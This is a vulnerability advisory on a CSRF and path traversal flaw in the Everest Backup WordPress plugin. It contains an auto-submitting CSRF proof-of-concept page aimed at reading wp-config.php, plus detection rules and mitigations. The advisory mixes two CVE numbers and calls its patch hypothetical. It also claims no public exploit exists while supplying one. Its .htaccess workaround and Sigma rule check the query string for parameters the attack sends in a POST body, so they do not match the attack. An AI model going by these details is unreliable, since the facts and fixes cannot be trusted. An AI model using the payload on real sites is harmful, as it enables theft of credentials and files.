CVE-2025-62992

Executive Summary

CVE-2025-62993 is a Cross-Site Request Forgery (CSRF) vulnerability in the Everest Backup WordPress plugin, affecting versions up to and including 2.3.11. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, specifically enabling a Path Traversal attack. By crafting a malicious request, an attacker can force the victim’s browser to send a forged HTTP request to the vulnerable WordPress site, leading to arbitrary file read or deletion on the server. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is medium due to the requirement for user interaction (a logged-in administrator must perform an action). However, the potential for arbitrary file read (Path Traversal) makes it a serious risk for data confidentiality.

Deep Dive & Mechanics

The vulnerability resides in the everest-backup plugin’s handling of file operations. The plugin fails to validate the origin of HTTP requests, allowing CSRF. Additionally, it does not properly sanitize user-supplied file paths, leading to Path Traversal.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a CSRF payload.
2. The payload targets a specific endpoint in the Everest Backup plugin, e.g., /wp-admin/admin-ajax.php?action=everest_backup_restore&file=../../../../wp-config.php.
3. The attacker lures an authenticated WordPress administrator to visit the malicious page.
4. The administrator’s browser sends the forged request to the WordPress site, including the administrator’s session cookies.
5. The plugin processes the request, reading or deleting the file specified in the file parameter (e.g., wp-config.php).

The vulnerability is classified as CWE-352 (Cross-Site Request Forgery) combined with CWE-22 (Path Traversal). The plugin does not implement CSRF tokens or nonces for the affected actions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.11):

// In everest-backup/includes/class-everest-backup-ajax.php
add_action('wp_ajax_everest_backup_restore', array($this, 'restore_backup'));

public function restore_backup() {
    $file = $_POST['file'];
    // No CSRF check
    // No path sanitization
    $restore_path = WP_CONTENT_DIR . '/uploads/everest-backup/' . $file;
    if (file_exists($restore_path)) {
        // Process restore
    }
}

Patched Code (Hypothetical):

// In everest-backup/includes/class-everest-backup-ajax.php
add_action('wp_ajax_everest_backup_restore', array($this, 'restore_backup'));

public function restore_backup() {
    // CSRF check
    if (!wp_verify_nonce($_POST['_wpnonce'], 'everest_backup_restore')) {
        wp_die('CSRF validation failed');
    }
    
    $file = sanitize_file_name(basename($_POST['file']));
    // Restrict to allowed directory
    $restore_path = WP_CONTENT_DIR . '/uploads/everest-backup/' . $file;
    if (strpos(realpath($restore_path), realpath(WP_CONTENT_DIR . '/uploads/everest-backup/')) !== 0) {
        wp_die('Invalid path');
    }
    if (file_exists($restore_path)) {
        // Process restore
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Everest Backup plugin version <= 2.3.11.
• An authenticated administrator session.

Exploitation Steps:

1. Create a malicious HTML file (csrf.html):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="everest_backup_restore">
    <input type="hidden" name="file" value="../../../../wp-config.php">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the authenticated administrator (e.g., via email or social engineering).
4. When the administrator visits the page, the form auto-submits, sending the forged request.
5. The plugin reads wp-config.php and may output its contents or trigger a download.

Note: No public exploit code exists for this CVE at the time of analysis.

Blue Team

Detection:

• Monitor for unusual requests to /wp-admin/admin-ajax.php with action=everest_backup_restore and suspicious file parameters containing ../.
• Check server logs for file access patterns outside the expected backup directory.

Hunting:

• Search for HTTP requests with Referer headers not matching the WordPress site domain.
• Look for multiple failed CSRF nonce checks in WordPress debug logs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=everest_backup_restore and file parameter containing path traversal sequences (../).
  • Requests with missing or invalid Referer header.
• File System:
  • Unexpected file reads or deletions in directories outside /wp-content/uploads/everest-backup/.
  • Presence of files like wp-config.php being accessed via the plugin.
• Logs:
  • WordPress debug log entries showing everest_backup_restore action with suspicious parameters.
  • Web server access logs showing admin-ajax.php requests with file=../../ patterns.

Detection Engineering

YARA Rule

rule detect_everest_backup_csrf_path_traversal {
    meta:
        description = "Detects CSRF-based path traversal attempts against Everest Backup plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62993"
    strings:
        $action = "everest_backup_restore"
        $path_traversal = "../"
        $wp_config = "wp-config.php"
    condition:
        $action and ($path_traversal or $wp_config)
}

Sigma Rule

title: Everest Backup CSRF Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting Everest Backup plugin with path traversal patterns
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62993
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=everest_backup_restore'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate backup operations with unusual file names
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62993 Everest Backup CSRF Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=everest_backup_restore"; http_client_body; content:"../"; within:100; reference:cve,2025-62993; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing action=everest_backup_restore with path traversal patterns.
3. Restrict access to /wp-admin/admin-ajax.php using IP whitelisting or authentication.

Long-term Fix:

• The vendor must release a patched version that includes:
  • CSRF nonce verification for all AJAX actions.
  • Input sanitization and path validation using realpath() and basename().
  • Restriction of file operations to the plugin’s designated directory.

Workaround:

• Add the following to .htaccess to block direct access to the vulnerable endpoint:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
RewriteCond %{QUERY_STRING} action=everest_backup_restore
RewriteRule .* - [F,L]
</IfModule>

Valters IT
Securing Digital Frontiers